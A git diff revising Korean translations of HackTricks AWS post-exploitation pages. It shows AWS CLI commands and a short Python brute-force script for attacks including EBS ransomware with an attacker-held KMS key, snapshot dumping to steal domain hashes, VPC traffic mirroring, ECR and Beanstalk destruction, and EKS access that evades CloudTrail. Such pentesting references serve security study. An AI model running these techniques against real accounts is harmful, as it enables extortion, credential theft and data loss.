@@ -135,7 +135,7 @@ aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{
```bash
aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region
```
-### EBS Ransomware PoC
+### EBS 랜섬웨어 PoC
S3 포스트 익스플로이테이션 노트에서 시연된 랜섬웨어 데모와 유사한 개념 증명. KMS는 다양한 AWS 서비스를 암호화하는 데 사용하는 것이 얼마나 쉬운지를 고려하여 랜섬웨어 관리 서비스(RMS)로 이름을 변경해야 합니다.
@@ -239,11 +239,11 @@ S3 포스트 익스플로이테이션 노트에서 시연된 랜섬웨어 데모
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`
-이제 사용할 수 있는 공개적으로 접근 가능한 키가 있습니다. 우리는 암호화되지 않은 EBS 볼륨이 연결된 EC2 인스턴스가 몇 개 있는 '희생자' 계정을 사용할 수 있습니다. 이 '희생자' 계정의 EBS 볼륨이 암호화를 목표로 하고 있으며, 이 공격은 고급 권한 AWS 계정의 침해를 가정하고 있습니다.
+이제 공개적으로 접근 가능한 키를 사용할 수 있습니다. 우리는 암호화되지 않은 EBS 볼륨이 연결된 EC2 인스턴스가 있는 '희생자' 계정을 사용할 수 있습니다. 이 '희생자' 계정의 EBS 볼륨이 암호화를 목표로 하고 있으며, 이 공격은 고급 권한 AWS 계정의 침해를 가정하고 있습니다.
 
-S3 랜섬웨어 예제와 유사하게, 이 공격은 스냅샷을 사용하여 연결된 EBS 볼륨의 복사본을 생성하고, '공격자' 계정의 공개적으로 사용 가능한 키를 사용하여 새로운 EBS 볼륨을 암호화한 다음, 원래 EBS 볼륨을 EC2 인스턴스에서 분리하고 삭제하며, 마지막으로 새로 암호화된 EBS 볼륨을 생성하는 데 사용된 스냅샷을 삭제합니다. 
+S3 랜섬웨어 예제와 유사하게, 이 공격은 연결된 EBS 볼륨의 복사본을 스냅샷을 사용하여 생성하고, '공격자' 계정의 공개적으로 사용 가능한 키를 사용하여 새로운 EBS 볼륨을 암호화한 다음, 원래 EBS 볼륨을 EC2 인스턴스에서 분리하고 삭제하며, 마지막으로 새로 암호화된 EBS 볼륨을 생성하는 데 사용된 스냅샷을 삭제합니다. 
이로 인해 계정에 남아 있는 것은 암호화된 EBS 볼륨뿐입니다.
@@ -253,7 +253,7 @@ S3 랜섬웨어 예제와 유사하게, 이 공격은 스냅샷을 사용하여

-다음으로, '공격자' 계정의 키 정책으로 돌아가 '외부 암호화' 정책 규칙을 키 정책에서 제거합니다.
+다음으로, '공격자' 계정의 키 정책으로 돌아가 'Outside Encryption' 정책 규칙을 키 정책에서 제거합니다.
```json
{
"Version": "2012-10-17",
@@ -328,7 +328,7 @@ S3 랜섬웨어 예제와 유사하게, 이 공격은 스냅샷을 사용하여
 
-하지만 암호화된 EBS 볼륨으로 EC2 인스턴스를 실제로 다시 시작하려고 하면 실패하고 '대기 중' 상태에서 '중지됨' 상태로 영원히 돌아갑니다. 이는 연결된 EBS 볼륨이 키 정책이 더 이상 허용하지 않기 때문에 키를 사용하여 복호화할 수 없기 때문입니다.
+하지만 암호화된 EBS 볼륨으로 EC2 인스턴스를 실제로 다시 시작하려고 하면 실패하고 '대기 중' 상태에서 '중지됨' 상태로 영원히 돌아갑니다. 연결된 EBS 볼륨은 키 정책이 더 이상 허용하지 않기 때문에 키를 사용하여 복호화할 수 없습니다.
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
index c9136da84..26442ee21 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
@@ -32,7 +32,7 @@ make docker/build
IMAGE=".img" make docker/run #With the snapshot downloaded
```
> [!CAUTION]
-> **주의** `dsnap`는 공개 스냅샷을 다운로드할 수 없습니다. 이를 우회하려면 스냅샷을 개인 계정에 복사한 후 해당 스냅샷을 다운로드할 수 있습니다:
+> **주의** `dsnap`은 공개 스냅샷을 다운로드할 수 없습니다. 이를 우회하기 위해, 스냅샷을 개인 계정에 복사한 후 해당 스냅샷을 다운로드할 수 있습니다:
```bash
# Copy the snapshot
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"
@@ -46,9 +46,9 @@ dsnap --region us-east-2 get snap-027da41be451109da
# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
```
-이 기술에 대한 자세한 정보는 [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)의 원본 연구를 확인하세요.
+이 기술에 대한 자세한 내용은 [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)에서 원본 연구를 확인하세요.
-Pacu를 사용하여 [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) 모듈로 이 작업을 수행할 수 있습니다.
+Pacu를 사용하여 [ebs__download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) 모듈로 이 작업을 수행할 수 있습니다.
## AWS에서 스냅샷 확인하기
```bash
@@ -77,7 +77,7 @@ aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snaps
위 명령의 출력이 "/dev/xvdf: data"를 표시하면 볼륨이 비어 있다는 의미입니다.
-6단계: `sudo mkfs -t ext4 /dev/xvdf` 명령을 사용하여 볼륨을 ext4 파일 시스템으로 포맷합니다. 또는 `sudo mkfs -t xfs /dev/xvdf` 명령을 사용하여 xfs 형식을 사용할 수도 있습니다. ext4 또는 xfs 중 하나를 사용해야 합니다.
+6단계: `sudo mkfs -t ext4 /dev/xvdf` 명령을 사용하여 볼륨을 ext4 파일 시스템으로 포맷합니다. 또는 `sudo mkfs -t xfs /dev/xvdf` 명령을 사용하여 xfs 형식으로 포맷할 수도 있습니다. ext4 또는 xfs 중 하나를 사용해야 합니다.
7단계: 새 ext4 볼륨을 마운트할 디렉토리를 생성합니다. 예를 들어 "newvolume"이라는 이름을 사용할 수 있습니다.
@@ -122,7 +122,7 @@ ls /mnt
```
## Shadow Copy
-**`EC2:CreateSnapshot`** 권한을 가진 AWS 사용자는 **도메인 컨트롤러의 스냅샷을 생성**하여 이를 자신이 제어하는 인스턴스에 마운트하고 **NTDS.dit 및 SYSTEM** 레지스트리 하이브 파일을 Impacket의 secretsdump 프로젝트에 사용할 수 있도록 내보내어 모든 도메인 사용자 해시를 훔칠 수 있습니다.
+AWS 사용자 중 **`EC2:CreateSnapshot`** 권한을 가진 사용자는 **도메인 컨트롤러의 스냅샷을 생성**하여 자신이 제어하는 인스턴스에 마운트하고 **NTDS.dit 및 SYSTEM** 레지스트리 하이브 파일을 내보내어 모든 도메인 사용자 해시를 훔칠 수 있습니다.
이 도구를 사용하여 공격을 자동화할 수 있습니다: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) 또는 스냅샷을 생성한 후 이전 기술 중 하나를 사용할 수 있습니다.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
index a9d6e6856..ed1694aa6 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
@@ -1,15 +1,15 @@
-# AWS - Malicious VPC Mirror
+# AWS - 악의적인 VPC 미러
{{#include ../../../../banners/hacktricks-training.md}}
-**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!**
+**자세한 공격 내용은** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **를 확인하세요!**
-클라우드 환경에서의 수동 네트워크 검사는 **어려운** 작업으로, 네트워크 트래픽을 모니터링하기 위해 주요 구성 변경이 필요합니다. 그러나 AWS는 이 과정을 간소화하기 위해 “**VPC 트래픽 미러링**”이라는 새로운 기능을 도입했습니다. VPC 트래픽 미러링을 사용하면 VPC 내의 네트워크 트래픽을 **복제**할 수 있으며, 인스턴스 자체에 소프트웨어를 설치할 필요가 없습니다. 이 복제된 트래픽은 **분석**을 위해 네트워크 침입 탐지 시스템(IDS)으로 전송될 수 있습니다.
+클라우드 환경에서의 수동 네트워크 검사는 **어려운** 작업으로, 네트워크 트래픽을 모니터링하기 위해 주요 구성 변경이 필요합니다. 그러나 AWS에서 이 과정을 간소화하기 위해 “**VPC 트래픽 미러링**”이라는 새로운 기능을 도입했습니다. VPC 트래픽 미러링을 사용하면 VPC 내의 네트워크 트래픽을 인스턴스에 소프트웨어를 설치하지 않고도 **복제**할 수 있습니다. 이 복제된 트래픽은 **분석**을 위해 네트워크 침입 탐지 시스템(IDS)으로 전송될 수 있습니다.
VPC 트래픽을 미러링하고 유출하기 위한 필요한 인프라의 **자동 배포** 필요성을 해결하기 위해 “**malmirror**”라는 개념 증명 스크립트를 개발했습니다. 이 스크립트는 **손상된 AWS 자격 증명**을 사용하여 대상 VPC의 모든 지원되는 EC2 인스턴스에 대한 미러링을 설정하는 데 사용할 수 있습니다. VPC 트래픽 미러링은 AWS Nitro 시스템으로 구동되는 EC2 인스턴스에서만 지원되며, VPC 미러 타겟은 미러링된 호스트와 동일한 VPC 내에 있어야 한다는 점에 유의해야 합니다.
악의적인 VPC 트래픽 미러링의 **영향**은 상당할 수 있으며, 이는 공격자가 VPC 내에서 전송되는 **민감한 정보**에 접근할 수 있게 합니다. **명확한 텍스트 트래픽**이 VPC를 통해 흐르고 있는 점을 고려할 때, 이러한 악의적인 미러링의 **가능성**은 높습니다. 많은 기업들이 **성능 이유**로 내부 네트워크에서 명확한 텍스트 프로토콜을 사용하며, 전통적인 중간자 공격이 불가능하다고 가정합니다.
-자세한 정보와 [**malmirror 스크립트**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror)에 대한 접근은 우리의 **GitHub 저장소**에서 찾을 수 있습니다. 이 스크립트는 프로세스를 자동화하고 간소화하여 공격 연구 목적으로 **빠르고, 간단하며, 반복 가능**하게 만듭니다.
+자세한 정보와 [**malmirror 스크립트**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror)에 대한 접근은 우리의 **GitHub 저장소**에서 확인할 수 있습니다. 이 스크립트는 프로세스를 자동화하고 간소화하여 공격 연구 목적으로 **빠르고, 간단하며, 반복 가능**하게 만듭니다.
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
index dbb6a215c..09dfa17ab 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - ECR Post Exploitation
+# AWS - ECR 포스트 익스플로이테이션
{{#include ../../../banners/hacktricks-training.md}}
@@ -54,7 +54,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
-이 권한 중 하나라도 가진 공격자는 **저장소의 모든 이미지를 삭제하는 라이프사이클 정책을 생성하거나 수정할 수 있으며**, 그 후 **전체 ECR 저장소를 삭제할 수 있습니다**. 이로 인해 저장소에 저장된 모든 컨테이너 이미지가 손실됩니다.
+이러한 권한을 가진 공격자는 **모든 이미지를 삭제하기 위해 라이프사이클 정책을 생성하거나 수정할 수 있으며** 그 후 **전체 ECR 리포지토리를 삭제할 수 있습니다**. 이로 인해 리포지토리에 저장된 모든 컨테이너 이미지가 손실됩니다.
```bash
bashCopy code# Create a JSON file with the malicious lifecycle policy
echo '{
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
index b0e9efff7..c977597fe 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
@@ -12,7 +12,7 @@
### Host IAM Roles
-ECS에서 **IAM 역할은 컨테이너 내에서 실행되는 작업에 할당될 수 있습니다**. **만약** 작업이 **EC2** 인스턴스 내에서 실행된다면, **EC2 인스턴스**에는 **다른 IAM** 역할이 연결되어 있습니다.\
+ECS에서는 **IAM 역할이 컨테이너 내에서 실행되는 작업에 할당될 수 있습니다**. **만약** 작업이 **EC2** 인스턴스 내에서 실행된다면, **EC2 인스턴스**에는 **다른 IAM** 역할이 연결됩니다.\
즉, ECS 인스턴스를 **타격**하는 데 성공하면 **ECR 및 EC2 인스턴스와 연결된 IAM 역할을 얻을 수 있습니다**. 이러한 자격 증명을 얻는 방법에 대한 자세한 정보는 다음을 확인하세요:
{{#ref}}
@@ -24,11 +24,11 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
### Privesc to node to steal other containers creds & secrets
-게다가, EC2는 EC 작업을 실행하기 위해 도커를 사용하므로, 노드로 탈출하거나 **도커 소켓에 접근**할 수 있다면, **어떤 다른 컨테이너**가 실행되고 있는지 **확인**할 수 있으며, 심지어 **그 안으로 들어가서** **그들의 IAM 역할을 훔칠 수 있습니다**.
+게다가, EC2는 EC 작업을 실행하기 위해 도커를 사용하므로, 노드로 탈출하거나 **도커 소켓에 접근**할 수 있다면, **다른 컨테이너**가 실행되고 있는지 **확인**할 수 있으며, 심지어 **그 안으로 들어가서** **그들의 IAM 역할을 훔칠 수 있습니다**.
#### Making containers run in current host
-또한, **EC2 인스턴스 역할**은 일반적으로 클러스터 내에서 노드로 사용되는 EC2 인스턴스의 **컨테이너 인스턴스 상태를 업데이트할 수 있는 충분한 권한**을 가집니다. 공격자는 **인스턴스의 상태를 DRAINING으로 수정**할 수 있으며, 그러면 ECS는 **모든 작업을 제거하고** **REPLICA**로 실행 중인 작업은 **다른 인스턴스에서 실행**되며, 잠재적으로 **공격자의 인스턴스** 내에서 실행되어 **그들의 IAM 역할을 훔치고** 컨테이너 내부의 잠재적인 민감한 정보를 얻을 수 있습니다.
+또한, **EC2 인스턴스 역할**은 일반적으로 클러스터 내에서 노드로 사용되는 EC2 인스턴스의 **컨테이너 인스턴스 상태를 업데이트할 수 있는 충분한 권한**을 가집니다. 공격자는 **인스턴스의 상태를 DRAINING으로 수정**할 수 있으며, 그러면 ECS는 **모든 작업을 제거하고** **REPLICA**로 실행 중인 작업은 **다른 인스턴스에서 실행**되며, 이는 **공격자의 인스턴스** 내에서 발생할 수 있어 **그들의 IAM 역할을 훔치고** 컨테이너 내부의 잠재적인 민감한 정보를 얻을 수 있습니다.
```bash
aws ecs update-container-instances-state \
--cluster --status DRAINING --container-instances
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
index cd29a9064..e144a5a32 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
@@ -4,7 +4,7 @@
## EKS
-자세한 정보는 확인하세요
+자세한 내용은 확인하세요
{{#ref}}
../aws-services/aws-eks-enum.md
@@ -23,9 +23,9 @@ aws eks update-kubeconfig --name aws-eks-dev
```
- 그렇게 쉬운 방법은 아닙니다:
-**`aws eks get-token --name `** 명령어로 **토큰을 얻을 수** 있지만 클러스터 정보(describeCluster)를 가져올 권한이 없다면, **자신의 `~/.kube/config`를 준비할 수** 있습니다. 그러나 토큰이 있더라도 **연결할 url 엔드포인트**가 필요합니다(만약 pod에서 JWT 토큰을 얻었다면 [여기](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)를 읽어보세요) 그리고 **클러스터 이름**도 필요합니다.
+**`aws eks get-token --name `** 명령어로 **토큰을 얻을 수** 있지만 클러스터 정보(describeCluster)를 가져올 권한이 없다면, **자신의 `~/.kube/config`를 준비할 수** 있습니다. 그러나 토큰이 있더라도 **연결할 url 엔드포인트**가 필요합니다(만약 pod에서 JWT 토큰을 얻었다면 [여기](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)를 읽어보세요)와 **클러스터 이름**이 필요합니다.
-제 경우에는 CloudWatch 로그에서 정보를 찾지 못했지만, **LaunchTemplates userData**와 **EC2 머신의 userData에서도** 정보를 찾았습니다. 다음 예제에서처럼 **userData**에서 이 정보를 쉽게 볼 수 있습니다(클러스터 이름은 cluster-name이었습니다):
+제 경우에는 CloudWatch 로그에서 정보를 찾지 못했지만, **LaunchTemplates userData**와 **EC2 머신의 userData에서도** 정보를 찾았습니다. 다음 예제에서 쉽게 이 정보를 볼 수 있습니다(클러스터 이름은 cluster-name이었습니다):
```bash
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
@@ -79,28 +79,26 @@ provideClusterInfo: false
> [!WARNING]
> 따라서, config map **`aws-auth`**에 **쓰기 권한**이 있는 사람은 **전체 클러스터를 손상시킬 수 있습니다**.
-**같은 계정 또는 다른 계정에서 IAM 역할 및 사용자에게 추가 권한을 부여하는 방법**과 이를 **악용하는 방법**에 대한 자세한 내용은 [**privesc 이 페이지를 확인하세요**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
+**같은 계정 또는 다른 계정에서 IAM 역할 및 사용자에게 추가 권한을 부여하는 방법**과 이를 **악용하는 방법**에 대한 자세한 정보는 [**privesc 이 페이지를 확인하세요**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
또한 [**이 멋진**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **게시물을 확인하여 IAM -> Kubernetes 인증이 어떻게 작동하는지 알아보세요**.
### Kubernetes에서 AWS로
-**Kubernetes 서비스 계정**에 대한 **OpenID 인증**을 허용하여 AWS에서 역할을 맡을 수 있도록 할 수 있습니다. [**이 페이지에서 이 작업이 어떻게 이루어지는지 알아보세요**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
+**Kubernetes 서비스 계정**에 대한 **OpenID 인증**을 허용하여 AWS에서 역할을 맡을 수 있도록 하는 것이 가능합니다. [**이 페이지에서 이 작업이 어떻게 이루어지는지 알아보세요**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
-### JWT 토큰에서 API 서버 엔드포인트 가져오기
+### JWT 토큰에서 Api 서버 엔드포인트 가져오기
JWT 토큰을 디코딩하면 클러스터 ID와 지역을 얻을 수 있습니다.  EKS URL의 표준 형식이 다음과 같다는 것을 알고 있습니다.
```bash
https://...eks.amazonaws.com
```
-```markdown
-'두 문자'와 '숫자'에 대한 기준을 설명하는 문서를 찾지 못했습니다. 하지만 제 개인적으로 몇 가지 테스트를 해본 결과 다음과 같은 조합이 반복되는 것을 보았습니다:
+해당 '두 문자'와 '숫자'에 대한 기준을 설명하는 문서를 찾지 못했습니다. 하지만 제 차원에서 몇 가지 테스트를 해본 결과 다음과 같은 조합이 반복적으로 나타났습니다:
- gr7
- yl4
-어쨌든 3자에 불과하므로 우리는 이를 무차별 대입할 수 있습니다. 아래 스크립트를 사용하여 목록을 생성하세요.
-```
+어쨌든 단지 3자이므로 이를 브루트포스할 수 있습니다. 아래 스크립트를 사용하여 목록을 생성하세요.
```python
from itertools import product
from string import ascii_lowercase
@@ -125,9 +123,9 @@ wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws
### CloudTrail 우회
-공격자가 **EKS에 대한 권한**을 가진 AWS의 자격 증명을 얻으면, 공격자가 이전에 설명한 대로 **`update-kubeconfig`**를 호출하지 않고 자신의 **`kubeconfig`**를 구성하면, **`get-token`**은 AWS API와 상호작용하지 않기 때문에 CloudTrail에 로그를 생성하지 않습니다(단지 로컬에서 토큰을 생성할 뿐입니다).
+공격자가 **EKS에 대한 권한이 있는 AWS의 자격 증명**을 얻으면, 공격자가 이전에 설명한 대로 **`update-kubeconfig`**를 호출하지 않고 자신의 **`kubeconfig`**를 구성하면, **`get-token`**은 AWS API와 상호작용하지 않기 때문에 CloudTrail에 로그를 생성하지 않습니다(로컬에서 토큰을 생성할 뿐입니다).
-따라서 공격자가 EKS 클러스터와 대화할 때, **cloudtrail은 사용자가 도난당하고 접근하는 것과 관련된 어떤 것도 기록하지 않을 것입니다**.
+따라서 공격자가 EKS 클러스터와 대화할 때, **cloudtrail은 도난당한 사용자와 관련된 어떤 것도 기록하지 않을 것입니다**.
**EKS 클러스터는 이 접근을 기록할 수 있는 로그가 활성화되어 있을 수 있습니다**(기본적으로는 비활성화되어 있습니다).
@@ -135,10 +133,10 @@ wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws
기본적으로 **클러스터를 생성한 사용자 또는 역할**은 **항상 클러스터에 대한 관리자 권한을 가집니다**. 그리고 AWS가 Kubernetes 클러스터에 대해 가질 수 있는 유일한 "안전한" 접근입니다.
-따라서, **공격자가 fargate를 사용하여 클러스터를 손상시키고** **다른 모든 관리자를 제거하며** **클러스터를 생성한 AWS 사용자/역할을 삭제**하면, ~~공격자는 **클러스터를 랜섬**~~**할 수 있습니다**.
+따라서, **공격자가 fargate를 사용하여 클러스터를 손상시키고** **다른 모든 관리자를 제거하며** **클러스터를 생성한 AWS 사용자/역할을 삭제**하면, ~~공격자는 **클러스터를 랜섬할 수 있습니다**~~**.
> [!TIP]
-> 클러스터가 **EC2 VM**을 사용하고 있었다면, **노드**에서 관리자 권한을 얻고 클러스터를 복구할 수 있었을 것입니다.
+> 클러스터가 **EC2 VM**을 사용하고 있다면, **노드**에서 관리자 권한을 얻고 클러스터를 복구할 수 있을 가능성이 있습니다.
>
> 실제로 클러스터가 Fargate를 사용하고 있다면 EC2 노드를 사용하거나 모든 것을 EC2로 이동하여 클러스터를 복구하고 노드의 토큰에 접근할 수 있습니다.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
index c97bc3841..c0f53b612 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
@@ -24,7 +24,7 @@ aws elasticbeanstalk delete-application-version --application-name my-app --vers
### `elasticbeanstalk:TerminateEnvironment`
> [!NOTE]
-> TODO: 더 많은 권한이 필요한지 테스트하기
+> TODO: 이 작업에 더 많은 권한이 필요한지 테스트
`elasticbeanstalk:TerminateEnvironment` 권한을 가진 공격자는 **기존 Elastic Beanstalk 환경을 종료**할 수 있으며, 이로 인해 애플리케이션의 다운타임이 발생하고 환경이 백업을 위해 구성되지 않은 경우 데이터 손실이 발생할 수 있습니다.
```bash
@@ -46,7 +46,7 @@ aws elasticbeanstalk delete-application --application-name my-app --terminate-en
### `elasticbeanstalk:SwapEnvironmentCNAMEs`
> [!NOTE]
-> TODO: 이 작업에 더 많은 권한이 필요한지 테스트하기
+> TODO: 이 작업에 더 많은 권한이 필요한지 테스트하십시오.
`elasticbeanstalk:SwapEnvironmentCNAMEs` 권한을 가진 공격자는 **두 개의 Elastic Beanstalk 환경의 CNAME 레코드를 교환**할 수 있으며, 이로 인해 잘못된 버전의 애플리케이션이 사용자에게 제공되거나 의도하지 않은 동작이 발생할 수 있습니다.
```bash
@@ -59,7 +59,7 @@ aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1
> [!NOTE]
> TODO: 이 작업에 더 많은 권한이 필요한지 테스트하기
-`elasticbeanstalk:AddTags` 및 `elasticbeanstalk:RemoveTags` 권한을 가진 공격자는 **Elastic Beanstalk 리소스에 태그를 추가하거나 제거할 수 있습니다**. 이 작업은 잘못된 리소스 할당, 청구 또는 리소스 관리로 이어질 수 있습니다.
+`elasticbeanstalk:AddTags` 및 `elasticbeanstalk:RemoveTags` 권한을 가진 공격자는 **Elastic Beanstalk 리소스에 태그를 추가하거나 제거**할 수 있습니다. 이 작업은 잘못된 리소스 할당, 청구 또는 리소스 관리로 이어질 수 있습니다.
```bash
aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
index 616fb6172..bb57a7b45 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
@@ -12,15 +12,15 @@ IAM 접근에 대한 자세한 정보:
## 혼란스러운 대리인 문제
-만약 **외부 계정(A)**이 귀하의 계정에서 **역할**에 접근할 수 있도록 허용하면, **그 외부 계정에 정확히 접근할 수 있는 사람에 대한 가시성은 0**이 될 것입니다. 이는 문제입니다. 왜냐하면 다른 외부 계정(B)이 외부 계정(A)에 접근할 수 있다면, **B가 귀하의 계정에도 접근할 수 있을 가능성이 있기 때문입니다**.
+만약 **외부 계정(A)**이 귀하의 계정의 **역할**에 접근할 수 있도록 허용하면, **누가 정확히 그 외부 계정에 접근할 수 있는지에 대한 가시성**이 **0**이 될 것입니다. 이는 문제입니다. 왜냐하면 다른 외부 계정(B)이 외부 계정(A)에 접근할 수 있다면, **B가 귀하의 계정에 접근할 수 있는 가능성도 있기 때문입니다**.
-따라서 외부 계정이 귀하의 계정에서 역할에 접근할 수 있도록 허용할 때 `ExternalId`를 지정할 수 있습니다. 이는 외부 계정(A)이 **귀하의 조직에서 역할을 맡기 위해 반드시 지정해야 하는** "비밀" 문자열입니다. **외부 계정 B는 이 문자열을 알지 못하기 때문에**, A에 접근할 수 있더라도 **귀하의 역할에 접근할 수 없습니다**.
+따라서 외부 계정이 귀하의 계정의 역할에 접근할 수 있도록 허용할 때 `ExternalId`를 지정할 수 있습니다. 이는 외부 계정(A)이 **귀하의 조직에서 역할을 맡기 위해 반드시 지정해야 하는** "비밀" 문자열입니다. **외부 계정 B는 이 문자열을 알지 못하기 때문에**, A에 대한 접근 권한이 있더라도 **귀하의 역할에 접근할 수 없습니다**.
-그러나 이 `ExternalId` "비밀"은 **비밀이 아닙니다**. IAM 역할 맡기 정책을 **읽을 수 있는 사람은 누구나 이를 볼 수 있습니다**. 하지만 외부 계정 A가 이를 알고 있고, 외부 계정 **B는 이를 모른다면**, 이는 **B가 A를 악용하여 귀하의 역할에 접근하는 것을 방지합니다**.
+그러나 이 `ExternalId` "비밀"은 **비밀이 아닙니다**. IAM 역할 맡기 정책을 **읽을 수 있는 누구나 이를 볼 수 있습니다**. 하지만 외부 계정 A가 이를 알고 있고, 외부 계정 **B는 이를 모른다면**, 이는 **B가 A를 악용하여 귀하의 역할에 접근하는 것을 방지합니다**.
-예시:
+예:
```json
{
"Version": "2012-10-17",
@@ -39,11 +39,11 @@ IAM 접근에 대한 자세한 정보:
}
```
> [!WARNING]
-> 공격자가 혼란스러운 대리인을 이용하려면 현재 계정의 주체가 다른 계정의 역할을 가장할 수 있는지 확인해야 합니다.
+> 공격자가 혼란스러운 대리인을 악용하려면 현재 계정의 주체가 다른 계정의 역할을 가장할 수 있는지 확인해야 합니다.
### 예상치 못한 신뢰
-#### 주체로서의 와일드카드
+#### 와일드카드 주체
```json
{
"Action": "sts:AssumeRole",
@@ -53,7 +53,7 @@ IAM 접근에 대한 자세한 정보:
```
이 정책은 **모든 AWS**가 역할을 맡을 수 있도록 허용합니다.
-#### 서비스 주체로서
+#### 주체로서의 서비스
```json
{
"Action": "lambda:InvokeFunction",
@@ -62,9 +62,9 @@ IAM 접근에 대한 자세한 정보:
"Resource": "arn:aws:lambda:000000000000:function:foo"
}
```
-이 정책은 **모든 계정**이 이 Lambda를 호출하도록 apigateway를 구성할 수 있도록 허용합니다.
+이 정책은 **모든 계정**이 자신의 apigateway를 구성하여 이 Lambda를 호출할 수 있도록 허용합니다.
-#### S3를 주체로
+#### S3를 주체로 사용
```json
"Condition": {
